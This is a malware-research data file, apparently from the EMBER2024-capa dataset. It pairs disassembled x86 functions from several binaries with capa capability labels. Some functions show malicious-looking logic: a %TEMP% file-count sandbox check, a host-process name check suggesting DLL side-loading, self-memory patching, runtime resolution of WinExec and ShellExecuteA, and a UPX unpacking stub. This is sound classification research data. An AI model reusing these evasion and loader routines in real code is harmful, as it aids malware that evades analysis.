joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002480
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x14], 0x401000
mov byte [ebp - 8], 0x90
mov byte [ebp - 7], 0x90
mov byte [ebp - 6], 0x90
mov byte [ebp - 5], 0x90
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x38
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100024d7
push 0
push 4
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x10], 0
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
push str.CreateFileA
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012e68], eax
push str.ReadFile
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012df4], eax
push 0x10009214
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012e60], eax
push str.WinExec
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012dec], eax
push str.RegSetValueExA
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012de0], eax
push str.RegOpenKeyExA
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012de4], eax
push str.RegCloseKey
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012de8], eax
push str.ShellExecuteA
push 0x100091b4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10012e64], eax
cmp dword [0x10012dec], 0
je 0x100025d9
cmp dword [0x10012e68], 0
je 0x100025d9
cmp dword [0x10012df4], 0
je 0x100025d9
cmp dword [0x10012e60], 0
je 0x100025d9
mov dword [ebp - 0x18], 1
jmp 0x100025e0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0
jne 0x100025ee
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x100091b0
push 0x100091ac
push 0x100091a8
push 0x22
call fcn.10002160
add esp, 0x10
call fcn.100021b0
call fcn.100016c0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10002630
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10012234]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
push 0x1000
call fcn.10002be1
add esp, 4
mov dword [ebp - 0xc], eax
push 0x1000
mov eax, dword [ebp - 0xc]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 8], eax
push 0x10009248
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10002da0
add esp, 8
lea edx, [ebp - 0x150]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x100026d0
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100026a2
mov ecx, dword [ebp - 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 4], 0x12
jge 0x100026dc
xor al, al
jmp 0x100026de
mov al, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000282a
mov esp, ebp
pop ebp
ret

Function at 0x100026f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10012234]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
jne 0x100027e6
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.10002630
movzx ecx, al
test ecx, ecx
jne 0x10002732
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [str.LBTWiz32.exe]
mov dword [ebp - 0x110], edx
mov eax, dword [0x10009258]
mov dword [ebp - 0x10c], eax
mov ecx, dword [0x1000925c]
mov dword [ebp - 0x108], ecx
mov dl, byte [0x10009260]
mov byte [ebp - 0x104], dl
push 0xf7
push 0
lea eax, [ebp - 0x103]
push eax
call fcn.10002c80
add esp, 0xc
mov byte [ebp - 0x218], 0
push 0x103
push 0
lea ecx, [ebp - 0x217]
push ecx
call fcn.10002c80
add esp, 0xc
mov dword [ebp - 0x21c], 0
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x100027e4
push 0
call fcn.10002480
jmp 0x100027f1
cmp dword [ebp + 0xc], 0
jne 0x100027f1
call fcn.10002810
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000282a
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000282a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10012234]
jne 0x10002834
repz ret
jmp fcn.10003671
Function at 0x1000662c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10012234]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10004bb3
and dword [ebp - 0x14], 0
cmp dword [0x10013b2c], 0
mov dword [ebp - 0x18], eax
jne 0x100066df
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10006787
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10006787
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10013b2c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10013b30], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10013b34], eax
call edi
push eax
call esi
mov dword [0x10013b3c], eax
test eax, eax
je 0x100066df
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10013b38], eax
mov eax, dword [0x10013b38]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10006738
cmp dword [0x10013b3c], ecx
je 0x10006738
push eax
call esi
push dword [0x10013b3c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10006738
test ebx, ebx
je 0x10006738
call edi
test eax, eax
je 0x1000672f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000672f
test byte [ebp - 8], 1
jne 0x10006738
or dword [ebp + 0x10], 0x200000
jmp 0x1000676b
mov eax, dword [0x10013b30]
cmp eax, dword [ebp - 0x18]
je 0x1000676b
push eax
call esi
test eax, eax
je 0x1000676b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000676b
mov eax, dword [0x10013b34]
cmp eax, dword [ebp - 0x18]
je 0x1000676b
push eax
call esi
test eax, eax
je 0x1000676b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10013b2c]
call esi
test eax, eax
je 0x10006787
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10006789
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000282a
leave
ret
Function at 0x77f5d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2a7000]
push edi
jmp 0x77f5ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x77f5f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77f5e0
mov eax, 1
add ebx, ebx
jne 0x77f603
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x77f614
jne 0x77f633
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77f633
dec eax
add ebx, ebx
jne 0x77f620
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x77f5f8
add ebx, ebx
jne 0x77f62f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x77f685
xor ecx, ecx
sub eax, 3
jb 0x77f64b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x77f6ba
sar eax, 1
mov ebp, eax
jmp 0x77f656
add ebx, ebx
jne 0x77f656
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77f624
inc ecx
add ebx, ebx
jne 0x77f664
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77f624
add ebx, ebx
jne 0x77f671
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x77f666
jne 0x77f682
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x77f666
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x77f6a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x77f696
jmp 0x77f5e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x77f6a4
add edi, ecx
jmp 0x77f5e6
pop esi
mov edi, esi
mov ecx, 0x467
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x77f6c2
cmp byte [edi], 7
jne 0x77f6c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x77f6c7
lea edi, [esi + 0x37d000]
mov eax, dword [edi]
or eax, eax
je 0x77f736
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x409228]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x409264]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x77f6f4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x40926c]
or eax, eax
je 0x77f730
mov dword [ebx], eax
add ebx, 4
jmp 0x77f711
call dword [esi + 0x409268]
mov ebp, dword [esi + 0x409270]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x247]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x77f76a
sub esp, 0xffffff80
jmp 0x40125d
Function at 0x10001510
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
mov eax, dword [ecx]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x10001530
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
push edi
mov edi, ecx
jne 0x10001546
push 0x80004005
call fcn.10001230
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
lea eax, [eax + eax + 2]
push eax
mov eax, dword [edi]
push esi
push ecx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
ret 0xc

Function at 0x10001570
Capabilities:
Set registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
mov dword [esp + 4], ecx
jne 0x10001588
push 0x80004005
call fcn.10001230
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
xor edi, edi
mov esi, ebp
push esi
call ebx
add eax, 1
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x10001595
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret 8
Function at 0x10001cf0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x21c
mov eax, dword [0x1004a0b4]
xor eax, esp
mov dword [esp + 0x218], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x22c]
mov ebp, ecx
mov eax, dword [ebp]
lea ecx, [esp + 0x14]
push ecx
push 0x2001f
push 0
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [esp + 0xc]
mov esi, eax
test esi, esi
jne 0x10001d5e
test ecx, ecx
je 0x10001d50
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
mov ecx, dword [esp + 0x14]
mov esi, eax
mov dword [esp + 0xc], ecx
je 0x10001d6c
test ecx, ecx
je 0x10001e11
push ecx
jmp 0x10001e0b
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
lea edx, [esp + 0x38]
push edx
push 0
push ecx
mov dword [esp + 0x30], pe_nt_image_headers32
call esi
test eax, eax
jne 0x10001dde
jmp 0x10001da0
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x10]
call fcn.10001cf0
mov edi, eax
test edi, edi
jne 0x10001e2d
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push eax
push eax
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x38]
push eax
push edi
push ecx
mov dword [esp + 0x30], pe_nt_image_headers32
call esi
test eax, eax
je 0x10001da0
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10001df5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], 0
mov edx, dword [ebp]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10001e11
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x224]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.1002d777
add esp, 0x21c
ret 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10001e3c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x10001e13
Function at 0x10003cc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x408]
sub esp, 0x408
push 0xffffffffffffffff
push 0x1002e390
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1004a0b4]
xor eax, ebp
mov dword [ebp + 0x404], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov eax, dword [ebp + 0x418]
mov edi, dword [ebp + 0x410]
mov ebx, dword [ebp + 0x414]
mov dword [ebp - 0x14], eax
call dword [0x1004a098]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], eax
mov dword [ebp], eax
push 2
push eax
push edi
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
mov dword [ebp - 0x18], edi
jne 0x10003d4d
call fcn.10001400
mov esi, eax
jmp 0x10003e35
mov ecx, dword [ebp - 0x14]
push ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x10003d69
call fcn.10001400
jmp 0x10003e2c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 0x20], eax
jne 0x10003d82
call fcn.10001400
jmp 0x10003e2c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
mov dword [ebp - 0x14], esi
jae 0x10003db8
lea edx, [ebp + 4]
cmp dword [ebp], edx
je 0x10003da6
lea ecx, [ebp]
call fcn.10001c70
lea ecx, [ebp - 0x1c]
call fcn.10001bf0
mov eax, 0x8007000e
jmp 0x10003e52
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 2
call fcn.10002bb0
mov dword [ebp - 4], 1
jmp 0x10003de1
mov ebx, dword [ebp]
test ebx, ebx
jne 0x10003def
mov esi, 0x8007000e
jmp 0x10003e2e
call dword [0x1004a098]
mov ecx, dword [ebp - 0x20]
push esi
push ebx
push esi
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x10003e10
call fcn.10001400
jmp 0x10003e2c
mov edx, dword [ebp]
mov word [edx + eax*2], 0
mov eax, dword [ebp + 0x41c]
mov ecx, dword [ebp]
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.10003b30
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp + 4]
cmp dword [ebp], edx
je 0x10003e50
lea ecx, [ebp]
call fcn.10001c70
jmp 0x10003e50
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x404]
xor ecx, ebp
call fcn.1002d777
add ebp, 0x408
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1000b9a0
Capabilities:
Hide graphical window

Disassembly:
test ecx, ecx
push esi
je 0x1000b9aa
lea esi, [ecx - 0x74]
jmp 0x1000b9ac
xor esi, esi
mov ecx, dword [esi + 0x78]
mov edx, dword [ecx + 0x18]
lea eax, [esi + 0x78]
push eax
call edx
mov esi, dword [esi + 0x4c]
test esi, esi
je 0x1000b9c8
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x1000f880
Capabilities:
Set registry value

Disassembly:
sub esp, 0x40c
mov eax, dword [0x1004a0b4]
xor eax, esp
mov dword [esp + 0x408], eax
push esi
push edi
mov edi, dword [esp + 0x418]
xor esi, esi
push esi
lea eax, [esp + 0x10]
push eax
push 1
push str.O:BAG:BAD:_A__0x3___IU__A__0x3___SY_
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorA]
test eax, eax
je 0x1000f8c2
mov esi, dword [esp + 0xc]
push edi
lea ecx, [esp + 0x14]
push str.AppID_s
push ecx
call dword [sym.imp.MSVCR80.dll_sprintf]
add esp, 0xc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [esp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorLength]
push eax
push esi
push 3
push 0
push str.AccessPermission
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x410]
pop edi
pop esi
xor ecx, esp
call fcn.1002d777
add esp, 0x40c
ret

Function at 0x1000f930
Capabilities:
Delete registry key

Disassembly:
sub esp, 0x408
mov eax, dword [0x1004a0b4]
xor eax, esp
mov dword [esp + 0x404], eax
mov eax, dword [esp + 0x40c]
push eax
lea eax, [esp + 8]
push str.AppID_s
push eax
mov dword [esp + 0xc], 0
call dword [sym.imp.MSVCR80.dll_sprintf]
add esp, 0xc
lea ecx, [esp]
push ecx
lea edx, [esp + 8]
push edx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [esp]
push str.AccessPermission
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.1002d777
add esp, 0x408
ret

Function at 0x100102e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push esi
lea eax, [esp + 4]
push eax
push 0x20119
push 0
push str.SOFTWAREAhnlabSafe_Transaction
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 4]
push esi
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push str.InstallPath
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], 0x104
pop esi
add esp, 8
ret 8
Function at 0x10011870
Capabilities:
Get common file path
Get program files directory

Disassembly:
push 0xffffffffffffffff
push 0x1002ec3c
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x1004a0b4]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1004a0b4]
xor eax, esp
push eax
lea eax, [esp + 0x120]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
push 0x26
lea eax, [esp + 0x20]
push eax
push ebx
mov ebp, ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [esp + 0x18]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x100118c5
mov ecx, 7
mov esi, str.SoftForumXecureWebNPPlugin
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
push ebx
push ecx
movsw word es:[edi], word [esi]
call dword [sym.imp.XecureMacuxCSM.dll_public:_static_class_XWClientSM____cdecl_XWClientSM::getInstance_char_const___unsigned_long_int_]
push 4
mov dword [ebp], eax
mov dword [ebp + 0x2c], ebx
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x14], ebx
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], ebx
call sub.MSVCR80.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0xc
mov dword [esp + 0x14], eax
cmp eax, ebx
mov dword [esp + 0x128], ebx
je 0x1001191d
mov ecx, eax
call fcn.100196f0
jmp 0x1001191f
xor eax, eax
or esi, 0xffffffff
push 0x100c
mov dword [esp + 0x12c], esi
mov dword [ebp + 0x34], eax
mov dword [ebp + 0x28], ebx
mov dword [ebp + 0x24], ebx
call sub.MSVCR80.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x14], eax
cmp eax, ebx
mov dword [esp + 0x128], 1
je 0x1001195b
mov ecx, eax
call fcn.10013a00
jmp 0x1001195d
xor eax, eax
mov dword [esp + 0x128], esi
mov dword [ebp + 0x24], eax
call dword [sym.imp.XecureMacuxCSM.dll_public:_static_class_XWSSLClient____cdecl_XWSSLClient::getInstance_void_]
mov dword [eax + 8], 0x10011830
mov dword [eax + 0xc], 0x10011850
call sym.NativeMngUAC.dll_public:_static_class_NativeFCMSWrapper____cdecl_NativeFCMSWrapper::getInstance_void_
mov dword [ebp + 8], eax
mov eax, ebp
mov ecx, dword [esp + 0x120]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1002d777
add esp, 0x118
ret
Function at 0x100119b0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push 0xffffffffffffffff
push 0x1002ec3c
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x1004a0b4]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1004a0b4]
xor eax, esp
push eax
lea eax, [esp + 0x120]
mov dword fs:[0], eax
mov eax, dword [esp + 0x134]
xor ebx, ebx
push ebx
mov ebp, ecx
push 0x26
lea ecx, [esp + 0x20]
push ecx
push ebx
mov dword [esp + 0x24], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [esp + 0x18]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x10011a10
mov ecx, 7
mov esi, str.SoftForumXecureWebAnySign
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x14]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x10011a30
sub eax, edx
je 0x10011a56
mov edx, dword [esp + 0x130]
push edx
lea eax, [esp + 0x1c]
push esi
push eax
call dword [sym.imp.XecureMacuxCSM.dll_public:_static_class_XWClientSM____cdecl_XWClientSM::getInstance_char_const___char___unsigned_long_int_]
add esp, 0xc
jmp 0x10011a6c
mov ecx, dword [esp + 0x130]
push ecx
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.XecureMacuxCSM.dll_public:_static_class_XWClientSM____cdecl_XWClientSM::getInstance_char_const___unsigned_long_int_]
add esp, 8
push 4
mov dword [ebp], eax
mov dword [ebp + 0x2c], ebx
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x14], ebx
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], ebx
call sub.MSVCR80.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x14], eax
cmp eax, ebx
mov dword [esp + 0x128], ebx
je 0x10011aa0
mov ecx, eax
call fcn.100196f0
jmp 0x10011aa2
xor eax, eax
or esi, 0xffffffff
push 0x100c
mov dword [esp + 0x12c], esi
mov dword [ebp + 0x34], eax
mov dword [ebp + 0x24], ebx
call sub.MSVCR80.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x14], eax
cmp eax, ebx
mov dword [esp + 0x128], 1
je 0x10011adb
mov ecx, eax
call fcn.10013a00
jmp 0x10011add
xor eax, eax
mov dword [esp + 0x128], esi
mov dword [ebp + 0x24], eax
call dword [sym.imp.XecureMacuxCSM.dll_public:_static_class_XWSSLClient____cdecl_XWSSLClient::getInstance_void_]
mov dword [eax + 8], 0x10011830
mov dword [eax + 0xc], 0x10011850
call sym.NativeMngUAC.dll_public:_static_class_NativeFCMSWrapper____cdecl_NativeFCMSWrapper::getInstance_void_
mov dword [ebp + 8], eax
mov eax, ebp
mov ecx, dword [esp + 0x120]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1002d777
add esp, 0x118
ret 8